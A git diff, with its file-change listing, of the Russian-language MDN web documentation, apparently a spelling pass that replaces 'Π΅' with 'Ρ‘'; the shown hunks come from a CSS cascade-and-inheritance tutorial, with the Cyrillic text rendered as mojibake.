-rw-r--r--files/ru/web/javascript/reference/global_objects/array/filter/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/find/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/flat/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/foreach/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/keys/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/lastindexof/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/map/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/reduce/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/reverse/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/slice/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/some/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/array/sort/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/arraybuffer/index.html14
-rw-r--r--files/ru/web/javascript/reference/global_objects/arraybuffer/slice/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/asyncfunction/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/atomics/add/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/atomics/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/atomics/sub/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/bigint/index.html14
-rw-r--r--files/ru/web/javascript/reference/global_objects/date/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/date/setminutes/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/encodeuri/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/error/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/escape/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/eval/index.html14
-rw-r--r--files/ru/web/javascript/reference/global_objects/float32array/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/function/bind/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/function/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/function/name/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/generator/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/generator/throw/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/generatorfunction/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/globalthis/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/intl/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/isfinite/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/map/delete/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/map/entries/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/map/foreach/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/map/get/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/map/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/math/sqrt/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/nan/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/null/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/create/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/entries/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/fromentries/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/object/values/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/parsefloat/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/parseint/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/all/index.html10
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/any/index.html12
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/catch/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/finally/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/index.html16
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/race/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/reject/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/resolve/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/promise/then/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/reflect/construct/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/reflect/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/regexp/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/regexp/n/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/set/delete/index.html10
-rw-r--r--files/ru/web/javascript/reference/global_objects/set/foreach/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/set/set/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html10
-rw-r--r--files/ru/web/javascript/reference/global_objects/string/match/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/string/matchall/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/string/padend/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/string/replaceall/index.html10
-rw-r--r--files/ru/web/javascript/reference/global_objects/string/slice/index.html8
-rw-r--r--files/ru/web/javascript/reference/global_objects/symbol/for/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/symbol/index.html14
-rw-r--r--files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/typedarray/index.html4
-rw-r--r--files/ru/web/javascript/reference/global_objects/unescape/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/uneval/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/weakmap/clear/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/weakmap/delete/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/weakmap/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/webassembly/compile/index.html2
-rw-r--r--files/ru/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html6
-rw-r--r--files/ru/web/javascript/reference/global_objects/webassembly/index.html22
-rw-r--r--files/ru/web/javascript/reference/global_objects/webassembly/table/index.html14
-rw-r--r--files/ru/web/javascript/reference/iteration_protocols/index.html6
-rw-r--r--files/ru/web/javascript/reference/lexical_grammar/index.html10
-rw-r--r--files/ru/web/javascript/reference/operators/addition/index.html2
-rw-r--r--files/ru/web/javascript/reference/operators/await/index.html4
-rw-r--r--files/ru/web/javascript/reference/operators/bitwise_and/index.html2
-rw-r--r--files/ru/web/javascript/reference/operators/comma_operator/index.html4
-rw-r--r--files/ru/web/javascript/reference/operators/conditional_operator/index.html12
-rw-r--r--files/ru/web/javascript/reference/operators/delete/index.html20
-rw-r--r--files/ru/web/javascript/reference/operators/in/index.html4
-rw-r--r--files/ru/web/javascript/reference/operators/instanceof/index.html2
-rw-r--r--files/ru/web/javascript/reference/operators/new.target/index.html4
-rw-r--r--files/ru/web/javascript/reference/operators/new/index.html12
-rw-r--r--files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html2
-rw-r--r--files/ru/web/javascript/reference/operators/object_initializer/index.html22
-rw-r--r--files/ru/web/javascript/reference/operators/optional_chaining/index.html4
-rw-r--r--files/ru/web/javascript/reference/operators/pipeline_operator/index.html2
-rw-r--r--files/ru/web/javascript/reference/operators/spread_syntax/index.html12
-rw-r--r--files/ru/web/javascript/reference/operators/this/index.html26
-rw-r--r--files/ru/web/javascript/reference/operators/void/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/async_function/index.html6
-rw-r--r--files/ru/web/javascript/reference/statements/block/index.html4
-rw-r--r--files/ru/web/javascript/reference/statements/class/index.html4
-rw-r--r--files/ru/web/javascript/reference/statements/do...while/index.html4
-rw-r--r--files/ru/web/javascript/reference/statements/empty/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/for-await...of/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/for...in/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/for...of/index.html6
-rw-r--r--files/ru/web/javascript/reference/statements/for/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/import/index.html14
-rw-r--r--files/ru/web/javascript/reference/statements/let/index.html16
-rw-r--r--files/ru/web/javascript/reference/statements/return/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/throw/index.html24
-rw-r--r--files/ru/web/javascript/reference/statements/try...catch/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/var/index.html10
-rw-r--r--files/ru/web/javascript/reference/statements/while/index.html2
-rw-r--r--files/ru/web/javascript/reference/statements/with/index.html2
-rw-r--r--files/ru/web/javascript/reference/strict_mode/index.html24
-rw-r--r--files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html8
-rw-r--r--files/ru/web/javascript/typed_arrays/index.html18
-rw-r--r--files/ru/web/manifest/background_color/index.html2
-rw-r--r--files/ru/web/manifest/icons/index.html4
-rw-r--r--files/ru/web/manifest/index.html2
-rw-r--r--files/ru/web/manifest/related_applications/index.html2
-rw-r--r--files/ru/web/mathml/attribute/index.html20
-rw-r--r--files/ru/web/mathml/authoring/index.html36
-rw-r--r--files/ru/web/mathml/element/maction/index.html4
-rw-r--r--files/ru/web/mathml/element/math/index.html6
-rw-r--r--files/ru/web/mathml/element/menclose/index.html14
-rw-r--r--files/ru/web/mathml/element/merror/index.html2
-rw-r--r--files/ru/web/mathml/element/mover/index.html2
-rw-r--r--files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html2
-rw-r--r--files/ru/web/mathml/examples/index.html2
-rw-r--r--files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html2
-rw-r--r--files/ru/web/media/formats/codecs_parameter/index.html6
-rw-r--r--files/ru/web/media/formats/webrtc_codecs/index.html50
-rw-r--r--files/ru/web/performance/animation_performance_and_frame_rate/index.html16
-rw-r--r--files/ru/web/performance/critical_rendering_path/index.html18
-rw-r--r--files/ru/web/performance/css_javascript_animation_performance/index.html4
-rw-r--r--files/ru/web/performance/dns-prefetch/index.html4
-rw-r--r--files/ru/web/performance/fundamentals/index.html24
-rw-r--r--files/ru/web/performance/how_browsers_work/index.html22
-rw-r--r--files/ru/web/performance/how_long_is_too_long/index.html4
-rw-r--r--files/ru/web/performance/index.html4
-rw-r--r--files/ru/web/performance/navigation_and_resource_timings/index.html10
-rw-r--r--files/ru/web/performance/optimizing_startup_performance/index.html10
-rw-r--r--files/ru/web/performance/performance_budgets/index.html12
-rw-r--r--files/ru/web/performance/rum-vs-synthetic/index.html6
-rw-r--r--files/ru/web/progressive_web_apps/installable_pwas/index.html6
-rw-r--r--files/ru/web/reference/api/index.html2
-rw-r--r--files/ru/web/reference/index.html2
-rw-r--r--files/ru/web/security/same-origin_policy/index.html2
-rw-r--r--files/ru/web/security/securing_your_site/turning_off_form_autocompletion/index.html2
-rw-r--r--files/ru/web/svg/applying_svg_effects_to_html_content/index.html8
-rw-r--r--files/ru/web/svg/attribute/attributetype/index.html6
-rw-r--r--files/ru/web/svg/attribute/core/index.html4
-rw-r--r--files/ru/web/svg/attribute/d/index.html8
-rw-r--r--files/ru/web/svg/attribute/dur/index.html4
-rw-r--r--files/ru/web/svg/attribute/end/index.html4
-rw-r--r--files/ru/web/svg/attribute/fill-rule/index.html2
-rw-r--r--files/ru/web/svg/attribute/font-weight/index.html2
-rw-r--r--files/ru/web/svg/attribute/id/index.html2
-rw-r--r--files/ru/web/svg/attribute/index.html2
-rw-r--r--files/ru/web/svg/attribute/keytimes/index.html6
-rw-r--r--files/ru/web/svg/attribute/lang/index.html12
-rw-r--r--files/ru/web/svg/attribute/patterncontentunits/index.html8
-rw-r--r--files/ru/web/svg/attribute/r/index.html2
-rw-r--r--files/ru/web/svg/attribute/repeatcount/index.html2
-rw-r--r--files/ru/web/svg/attribute/rx/index.html2
-rw-r--r--files/ru/web/svg/attribute/ry/index.html2
-rw-r--r--files/ru/web/svg/attribute/shape-rendering/index.html8
-rw-r--r--files/ru/web/svg/attribute/stroke/index.html4
-rw-r--r--files/ru/web/svg/attribute/text-anchor/index.html2
-rw-r--r--files/ru/web/svg/attribute/transform/index.html2
-rw-r--r--files/ru/web/svg/attribute/values/index.html4
-rw-r--r--files/ru/web/svg/attribute/viewbox/index.html2
-rw-r--r--files/ru/web/svg/element/animate/index.html2
-rw-r--r--files/ru/web/svg/element/animatemotion/index.html2
-rw-r--r--files/ru/web/svg/element/feblend/index.html2
-rw-r--r--files/ru/web/svg/element/foreignobject/index.html4
-rw-r--r--files/ru/web/svg/element/rect/index.html6
-rw-r--r--files/ru/web/svg/element/text/index.html4
-rw-r--r--files/ru/web/svg/element/use/index.html2
-rw-r--r--files/ru/web/svg/svg_1.1_support_in_firefox/index.html6
-rw-r--r--files/ru/web/svg/tutorial/basic_shapes/index.html4
-rw-r--r--files/ru/web/svg/tutorial/basic_transformations/index.html10
-rw-r--r--files/ru/web/svg/tutorial/clipping_and_masking/index.html8
-rw-r--r--files/ru/web/svg/tutorial/fills_and_strokes/index.html12
-rw-r--r--files/ru/web/svg/tutorial/filter_effects/index.html2
-rw-r--r--files/ru/web/svg/tutorial/getting_started/index.html8
-rw-r--r--files/ru/web/svg/tutorial/gradients/index.html10
-rw-r--r--files/ru/web/svg/tutorial/introduction/index.html12
-rw-r--r--files/ru/web/svg/tutorial/paths/index.html20
-rw-r--r--files/ru/web/svg/tutorial/patterns/index.html12
-rw-r--r--files/ru/web/svg/tutorial/svg_and_css/index.html2
-rw-r--r--files/ru/web/svg/tutorial/svg_fonts/index.html14
-rw-r--r--files/ru/web/svg/tutorial/svg_in_html_introduction/index.html6
-rw-r--r--files/ru/web/svg/tutorial/texts/index.html10
-rw-r--r--files/ru/web/svg/tutorial/tools_for_svg/index.html2
-rw-r--r--files/ru/web/tutorials/index.html12
-rw-r--r--files/ru/web/web_components/index.html22
-rw-r--r--files/ru/web/web_components/using_custom_elements/index.html20
-rw-r--r--files/ru/web/xml/xml_introduction/index.html8
-rw-r--r--files/ru/web/xslt/index.html2
-rw-r--r--files/ru/webassembly/c_to_wasm/index.html20
-rw-r--r--files/ru/webassembly/concepts/index.html22
-rw-r--r--files/ru/webassembly/exported_functions/index.html12
-rw-r--r--files/ru/webassembly/index.html12
-rw-r--r--files/ru/webassembly/loading_and_running/index.html2
-rw-r--r--files/ru/webassembly/rust_to_wasm/index.html34
-rw-r--r--files/ru/webassembly/understanding_the_text_format/index.html52
-rw-r--r--files/ru/webassembly/using_the_javascript_api/index.html28
1585 files changed, 6751 insertions, 6751 deletions
diff --git a/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html
index f1a3bac827..599069cfb2 100644
--- a/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html
+++ b/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html
@@ -15,7 +15,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
---
<p>{{ CSSTutorialTOC() }}</p>
-<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS")}} Π­Ρ‚ΠΎ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» руководства <a href="/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…</a>. Он описываСт, ΠΊΠ°ΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ Π² каскадС, ΠΈ ΠΊΠ°ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΡΡ‚ΠΈΠ»ΡŒ ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΡ…. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ наслСдованиС, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Π·Π°Π΄Π°Ρ‡Π΅ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡΡ‚ΠΈΠ»ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… элСмСнтов Π·Π° ΠΎΠ΄ΠΈΠ½ шаг.</p>
+<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS")}} Π­Ρ‚ΠΎ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» руководства <a href="/ru/docs/Web/Guide/CSS/Getting_Started" title="ru/CSS/Getting Started">CSS для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…</a>. Он описываСт, ΠΊΠ°ΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ Π² каскадС, ΠΈ ΠΊΠ°ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΡΡ‚ΠΈΠ»ΡŒ ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΡ…. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ наслСдованиС, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ Π·Π°Π΄Π°Ρ‡Π΅ Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΡΡ‚ΠΈΠ»ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… элСмСнтов Π·Π° ΠΎΠ΄ΠΈΠ½ шаг.</p>
<h2 id="Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ_ΠšΠ°ΡΠΊΠ°Π΄Π½ΠΎΡΡ‚ΡŒ_ΠΈ_наслСдованиС">Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ: ΠšΠ°ΡΠΊΠ°Π΄Π½ΠΎΡΡ‚ΡŒ ΠΈ наслСдованиС</h2>
@@ -26,7 +26,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
<ul>
<li>Π‘Ρ‚ΠΈΠ»ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.</li>
<li>Π‘Ρ‚ΠΈΠ»ΠΈ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΡ€ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
- <li>Π‘Ρ‚ΠΈΠ»ΠΈ, связанныС с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΈΡ… Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ. Π˜Ρ… ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π² Ρ‚Ρ€Π΅Ρ… мСстах:</li>
+ <li>Π‘Ρ‚ΠΈΠ»ΠΈ, связанныС с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΈΡ… Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ. Π˜Ρ… ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Π² Ρ‚Ρ€Ρ‘Ρ… мСстах:</li>
</ul>
<ol>
@@ -42,7 +42,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
<p>Когда Π²Ρ‹ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅ этот Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Π°ΡΡ‚ΡŒ стилСй происходит ΠΎΡ‚ стилСй для HTML ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
-<p>Π§Π°ΡΡ‚ΡŒ стиля ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΡ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… настроСк Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° опрСдСлСния стиля. Π’ Firefox настройки ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π² Π΄ΠΈΠ°Π»ΠΎΠ³Π΅ ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡ ΠΈΠ»ΠΈ ΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ стили Π² Ρ„Π°ΠΉΠ»Π΅ <code>userContent.css</code> Π² ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p>Π§Π°ΡΡ‚ΡŒ стиля ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΡ‚ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Ρ… настроСк Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° опрСдСлСния стиля. Π’ Firefox настройки ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π² Π΄ΠΈΠ°Π»ΠΎΠ³Π΅ ΠŸΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΡ ΠΈΠ»ΠΈ ΠΆΠ΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ стили Π² Ρ„Π°ΠΉΠ»Π΅ <code>userContent.css</code> Π² ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<p>Π§Π°ΡΡ‚ΡŒ стиля ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ† стилСй, связываСмых с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π²ΠΈΠΊΠΈ-сСрвСром.</p>
</div>
@@ -77,7 +77,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
<pre>p {color: blue; text-decoration: underline;}
</pre>
</li>
- <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ сохранитС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ измСнСния.Β Π’Π΅ΡΡŒ тСкст Π² Π°Π±Π·Π°Ρ†Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚, Π² Ρ‚ΠΎΠΌ числС ΠΈ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅Β Π±ΡƒΠΊΠ²Ρ‹. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ HTMLElement("strong") }} унаслСдовал ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта {{ HTMLElement("p") }} .<br>
+ <li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ сохранитС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ измСнСния.Β Π’Π΅ΡΡŒ тСкст Π² Π°Π±Π·Π°Ρ†Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚, Π² Ρ‚ΠΎΠΌ числС ΠΈ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅Β Π±ΡƒΠΊΠ²Ρ‹. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{ HTMLElement("strong") }} унаслСдовал ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ ΠΎΡ‚ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта {{ HTMLElement("p") }} .<br>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнты {{ HTMLElement("strong") }} всё Π΅Ρ‰Ρ‘ красныС. ΠšΡ€Π°ΡΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ являСтся ΠΈΡ… собствСнным стилСм, поэтому ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄ синим Ρ†Π²Π΅Ρ‚ΠΎΠΌ, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта {{ HTMLElement("p") }}Β .Β </p>
</li>
@@ -123,7 +123,7 @@ strong {color:red}</pre>
<div class="tuto_example">
<div class="tuto_type">Π—Π°Π΄Π°Π½ΠΈΠ΅</div>
-Π˜Π·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ‹Π»ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ красныС Π±ΡƒΠΊΠ²Ρ‹:
